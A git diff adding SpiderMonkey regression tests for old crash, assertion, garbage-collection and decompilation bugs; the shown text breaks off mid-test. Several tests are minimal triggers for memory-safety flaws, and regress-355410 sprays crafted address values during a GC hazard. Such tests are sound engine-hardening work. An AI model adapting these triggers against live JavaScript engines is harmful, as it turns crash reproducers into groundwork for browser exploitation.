+++ b/js/src/tests/js1_7/extensions/regress-351102-04.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351102;
+var summary = 'try/catch-guard/finally GC issues';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+ try
+ {
+ try { foo() } catch([] if gc()) { }
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary + ': 4');
+
+ exitFunc ('test');
+}
+
diff --git a/js/src/tests/js1_7/extensions/regress-351102-05.js b/js/src/tests/js1_7/extensions/regress-351102-05.js
new file mode 100644
index 000000000..32b3d39e6
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-351102-05.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351102;
+var summary = 'try/catch-guard/finally GC issues';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+ try
+ {
+ try { d.d.d } catch([] if gc()) { }
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary + ': 5');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-351102-07.js b/js/src/tests/js1_7/extensions/regress-351102-07.js
new file mode 100644
index 000000000..16a6f18fe
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-351102-07.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351102;
+var summary = 'try/catch-guard/finally GC issues';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+ var obj = { get a() {
+ try {
+ throw 1;
+ } catch (e) {
+ }
+ return false;
+ }};
+
+ try {
+ throw obj;
+ } catch ({a: a} if a) {
+ throw "Unreachable";
+ } catch (e) {
+ if (e !== obj)
+ throw "Unexpected exception: "+uneval(e);
+ }
+ reportCompare(expect, actual, summary + ': 7');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-352797-01.js b/js/src/tests/js1_7/extensions/regress-352797-01.js
new file mode 100644
index 000000000..cb3c98f59
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-352797-01.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352797;
+var summary = 'Do not assert: OBJ_GET_CLASS(cx, obj) == &js_BlockClass';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof Script == 'undefined')
+ {
+ print('Test skipped. Script not defined.');
+ }
+ else
+ {
+ (function(){let x = 'fafafa'.replace(/a/g, new Script(''))})();
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-352885-01.js b/js/src/tests/js1_7/extensions/regress-352885-01.js
new file mode 100644
index 000000000..9210f17a7
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-352885-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352885;
+var summary = 'Do not crash iterating over gen.__proto__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (j in ((function() { yield 3; })().__proto__))
+ print(j);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-352885-02.js b/js/src/tests/js1_7/extensions/regress-352885-02.js
new file mode 100644
index 000000000..d243813f9
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-352885-02.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352885;
+var summary = 'Do not crash iterating over gen.__proto__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function dotest()
+ {
+ var proto = (function() { yield 3; })().__proto__;
+
+ try {
+ proto.next();
+ throw "generatorProto.next() does not throw TypeError";
+ } catch (e) {
+ if (!(e instanceof TypeError))
+ throw "generatorProto.next() throws unexpected exception: "+uneval(e);
+ }
+
+ try {
+ proto.send();
+ throw "generatorProto.send() does not throw TypeError";
+ } catch (e) {
+ if (!(e instanceof TypeError))
+ throw "generatorProto.send() throws unexpected exception: "+uneval(e);
+ }
+
+ var obj = {};
+ try {
+ proto.throw(obj);
+ throw "generatorProto.throw(obj) does not throw TypeError";
+ } catch (e) {
+ if (!(e instanceof TypeError))
+ throw "generatorProto.throw() throws unexpected exception: "+uneval(e);
+ }
+
+ try {
+ proto.close();
+ throw "generatorProto.close() does not throw TypeError";
+ } catch (e) {
+ if (!(e instanceof TypeError))
+ throw "generatorProto.close() throws unexpected exception: "+uneval(e);
+ }
+
+ }
+
+ dotest();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-353214-01.js b/js/src/tests/js1_7/extensions/regress-353214-01.js
new file mode 100644
index 000000000..bd0cbb676
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-353214-01.js
@@ -0,0 +1,47 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353214;
+var summary = 'bug 353214';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function () {
+ switch(({ get x() { export *; }, set x([[y], [x] ]) { let x; } })) {
+ case eval("[[1]]", function(id) { return id; }):
+ L:for(let x in (((eval).call)(eval("yield <x><y/></x>;", "" ))))var x;
+ case (uneval(this)):
+ import x.*;
+ }
+ }
+
+ expect = 'function () { ' +
+ 'switch({ get x() { export *; }, set x([[y], [x] ]) { let x; } }) { ' +
+ 'case eval("[[1]]", function(id) { return id; }): ' +
+ 'L:for(let x in eval.call(eval("yield <x><y/></x>;", "" ))){var x;} ' +
+ 'case uneval(this): ' +
+ 'import x.*; default:;' +
+ '} ' +
+ '}';
+
+ actual = f + '';
+
+ compareSource(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-353249.js b/js/src/tests/js1_7/extensions/regress-353249.js
new file mode 100644
index 000000000..8bc5ed931
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-353249.js
@@ -0,0 +1,35 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353249;
+var summary = 'regression test for bug 353249';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = (function () { let (x) <x/>.(1) < let (z) eval('3');
+ for (x in this) {} });
+
+ expect = 'function () { (let (x) <x/>.((1)) < (let (z) eval("3"))); ' +
+ 'for (x in this) {} }';
+ actual = f + '';
+ compareSource(expect, actual, summary);
+
+ // do not crash()
+ f();
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-354499-01.js b/js/src/tests/js1_7/extensions/regress-354499-01.js
new file mode 100644
index 000000000..6a9ae40b9
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-354499-01.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354499;
+var summary = 'Iterating over Array elements';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ var obj = {get a(){ return new Object(); }};
+
+ function setter(v)
+ {
+ // Push out obj.a from all temp roots
+ var tmp = { get toString() { return new Object(); }};
+ try { String(tmp); } catch (e) { }
+ gc();
+ }
+
+ Array.prototype.__defineGetter__(0, function() { });
+ Array.prototype.__defineSetter__(0, setter);
+
+ for (var i in Iterator(obj))
+ print(uneval(i));
+
+ delete Array.prototype[0];
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-354499-02.js b/js/src/tests/js1_7/extensions/regress-354499-02.js
new file mode 100644
index 000000000..8f5c62918
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-354499-02.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354499;
+var summary = 'Iterating over Array elements';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ function get_value()
+ {
+ // Unroot the first element
+ this[0] = 0;
+
+ // Call gc to collect atom corresponding to Math.sqrt(2)
+ gc();
+ }
+
+ var counter = 2;
+ Iterator.prototype.next = function()
+ {
+ if (counter-- <= 0) throw StopIteration;
+ var a = [Math.sqrt(2), 1];
+ a.__defineGetter__(1, get_value);
+ return a;
+ };
+
+ for (i in [1])
+ ;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-354945-01.js b/js/src/tests/js1_7/extensions/regress-354945-01.js
new file mode 100644
index 000000000..76f1a3c82
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-354945-01.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354945;
+var summary = 'Do not crash with new Iterator';
+var expect = 'TypeError: trap __iterator__ for ({__iterator__:(function (){ })}) returned a primitive value';
+var actual;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try {
+ var obj = {};
+ obj.__iterator__ = function(){ };
+ for(t in (new Iterator(obj))) { }
+ } catch (ex) {
+ actual = ex.toString();
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-354945-02.js b/js/src/tests/js1_7/extensions/regress-354945-02.js
new file mode 100644
index 000000000..261bf7de1
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-354945-02.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354945;
+var summary = 'Do not crash with new Iterator';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: trap __iterator__ for ({__iterator__:(function (){ })}) returned a primitive value';
+ var obj = {};
+ obj.__iterator__ = function(){ };
+ try
+ {
+ for(t in (obj)) { }
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-355052-01.js b/js/src/tests/js1_7/extensions/regress-355052-01.js
new file mode 100644
index 000000000..ea5f5d7d7
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-355052-01.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355052;
+var summary = 'Do not crash with valueOf:gc and __iterator__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: .+ is not a function/;
+ actual = 'No Error';
+ try
+ {
+ ( {valueOf: gc} - [function(){}].__iterator__ )();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportMatch(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-355052-02.js b/js/src/tests/js1_7/extensions/regress-355052-02.js
new file mode 100644
index 000000000..57d06153e
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-355052-02.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355052;
+var summary = 'Do not crash with valueOf:gc and __iterator__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: .+ is not a function/;
+ actual = 'No Error';
+ try
+ {
+ ( {valueOf: gc} - [].a )();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportMatch(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-355052-03.js b/js/src/tests/js1_7/extensions/regress-355052-03.js
new file mode 100644
index 000000000..e987101fb
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-355052-03.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355052;
+var summary = 'Do not crash with valueOf:gc and __iterator__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: .+ is not a function/;
+ actual = 'No Error';
+ try
+ {
+ var obj = {valueOf: gc };
+
+ function f() {
+ ( obj * [].a )();
+ }
+
+ f();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportMatch(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-355410.js b/js/src/tests/js1_7/extensions/regress-355410.js
new file mode 100644
index 000000000..6b00b704f
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-355410.js
@@ -0,0 +1,40 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355410;
+var summary = 'GC hazard in for([k,v] in o){...}';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var address = 0xbadf00d0, basket = { food: {} };
+ var AP = Array.prototype, rooter = {};
+ AP.__defineGetter__(0, function() { return this[-1]; });
+ AP.__defineSetter__(0, function(v) {
+ basket.food = null;
+ for(var i = 0; i < 8 * 1024; i++) {
+ rooter[i] = 0x10000000000000 + address; // IEEE754!
+ }
+ return this[-1] = v;
+ });
+ for(var [key, value] in basket) { value.trigger; }
+
+ delete Array.prototype[0];
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-355512.js b/js/src/tests/js1_7/extensions/regress-355512.js
new file mode 100644
index 000000000..554242382
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-355512.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355512;
+var summary = 'Do not crash with generator arguments';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function foopy()
+ {
+ var f = function(){ r = arguments; d.d.d; yield 170; }
+ try { for (var i in f()) { } } catch (iterError) { }
+ }
+
+ typeof uneval;
+ foopy();
+ gc();
+ uneval(r);
+ gc();
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-363040-01.js b/js/src/tests/js1_7/extensions/regress-363040-01.js
new file mode 100644
index 000000000..5b89b4e81
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-363040-01.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363040;
+var summary = 'Array.prototype.reduce application in continued fraction';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// Print x as a continued fraction in compact abbreviated notation and return
+// the convergent [n, d] such that x - (n / d) <= epsilon.
+ function contfrac(x, epsilon) {
+ let i = Math.floor(x);
+ let a = [i];
+ x = x - i;
+ let maxerr = x;
+ while (maxerr > epsilon) {
+ x = 1 / x;
+ i = Math.floor(x);
+ a.push(i);
+ x = x - i;
+ maxerr = x * maxerr / i;
+ }
+ print(uneval(a));
+ a.push([1, 0]);
+ a.reverse();
+ return a.reduce(function (x, y) {return [x[0] * y + x[1], x[0]];});
+ }
+
+ if (!Array.prototype.reduce)
+ {
+ print('Test skipped. Array.prototype.reduce not implemented');
+ }
+ else
+ {
+// Show contfrac in action.
+ for each (num in [Math.PI, Math.sqrt(2), 1 / (Math.sqrt(Math.E) - 1)]) {
+ print('Continued fractions for', num);
+ for each (eps in [1e-2, 1e-3, 1e-5, 1e-7, 1e-10]) {
+ let frac = contfrac(num, eps);
+ let est = frac[0] / frac[1];
+ let err = num - est;
+ print(uneval(frac), est, err);
+ }
+ print();
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-363040-02.js b/js/src/tests/js1_7/extensions/regress-363040-02.js
new file mode 100644
index 000000000..ea163790a
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-363040-02.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 363040;
+var summary = 'Array.prototype.reduce application in continued fraction';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+// Print x as a continued fraction in compact abbreviated notation and return
+// the convergent [n, d] such that x - (n / d) <= epsilon.
+ function contfrac(x, epsilon) {
+ let i = Math.floor(x);
+ let a = [i];
+ x = x - i;
+ let maxerr = x;
+ while (maxerr > epsilon) {
+ x = 1 / x;
+ i = Math.floor(x);
+ a.push(i);
+ x = x - i;
+ maxerr = x * maxerr / i;
+ }
+ print(uneval(a));
+ return a.reduceRight(function (x, y) {return [x[0] * y + x[1], x[0]];}, [1, 0]);
+ }
+
+ if (!Array.prototype.reduceRight)
+ {
+ print('Test skipped. Array.prototype.reduceRight not implemented');
+ }
+ else
+ {
+// Show contfrac in action on some interesting numbers.
+ for each (num in [Math.PI, Math.sqrt(2), 1 / (Math.sqrt(Math.E) - 1)]) {
+ print('Continued fractions for', num);
+ for each (eps in [1e-2, 1e-3, 1e-5, 1e-7, 1e-10]) {
+ let frac = contfrac(num, eps);
+ let est = frac[0] / frac[1];
+ let err = num - est;
+ print(uneval(frac), est, err);
+ }
+ print();
+ }
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-366668-01.js b/js/src/tests/js1_7/extensions/regress-366668-01.js
new file mode 100644
index 000000000..92d01e800
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-366668-01.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366668;
+var summary = 'decompilation of "for (let x in x.p)" ';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ f = function() { for(let x in x.p) { } };
+ expect = 'function() { for(let x in x.p) { } }';
+ actual = f + '';
+ compareSource(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-367629.js b/js/src/tests/js1_7/extensions/regress-367629.js
new file mode 100644
index 000000000..7808701cb
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-367629.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 367629;
+var summary = 'Decompilation of result with native function as getter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a =
+ Object.defineProperty({}, "h",
+ {
+ get: encodeURI,
+ enumerable: true,
+ configurable: true
+ });
+
+ expect = '({get h() {[native code]}})';
+ actual = uneval(a);
+
+ compareSource(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-368213.js b/js/src/tests/js1_7/extensions/regress-368213.js
new file mode 100644
index 000000000..c1f9be735
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-368213.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 368213;
+var summary = 'Do not crash with group assignment and sharp variable defn';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+(function() { [] = [] });
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_7/extensions/regress-368224.js b/js/src/tests/js1_7/extensions/regress-368224.js
new file mode 100644
index 000000000..234f26856
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-368224.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 368224;
+var summary = 'Do not assert: pnprop->pn_type == TOK_COLON';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ ({ x: a } = {});
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_7/extensions/regress-372364.js b/js/src/tests/js1_7/extensions/regress-372364.js
new file mode 100644
index 000000000..ed641045f
--- /dev/null
+++ b/js/src/tests/js1_7/extensions/regress-372364.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 372364;
+var summary = 'Do not recurse to death on (function() { yield ([15].some([].watch)); })().next()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('FIXME: Fix this test to check the proper error when bug 366669 is fixed');
+ try
+ {
